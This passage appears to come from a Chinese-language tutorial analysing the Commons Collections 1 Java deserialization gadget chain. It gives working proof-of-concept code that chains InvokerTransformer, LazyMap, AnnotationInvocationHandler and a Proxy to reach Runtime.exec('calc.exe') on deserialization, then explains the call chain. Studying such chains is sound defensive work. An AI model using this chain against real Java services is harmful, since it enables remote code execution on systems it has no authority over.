new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}
)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler);
InvocationHandler proxyHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("mycc1_lazy.ser"));
oos.writeObject(proxyHandler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("mycc1_lazy.ser"));
ois.readObject();
ois.close();
System.out.println("执行完成");
}
我们重写整理一下,相较于 TransformedMap,LazyMap 的思路又是怎么样的?
LazyMap 绕过了高版本中 重新生成的 Map 操作,转而利用了 LazyMap 的 get 执行 transformer 链,要想执行 get 就需要执行 AnnotationInvocationHanndler 的invoke 方法,而想要执行这个 invoke 方法,我们借用了 proxy 动态代理对象来触发invoke,下面是完整的调用链:
java
ObjectInputStream.readObject()
↓
Proxy.readObject()
↓
AnnotationInvocationHandler.invoke()
↓
Map.get()
↓
LazyMap.get();
↓
LazyMap.factory.transform()
↓
Chainedtransformer.transform()
↓
。。。
↓
Runtime.exec()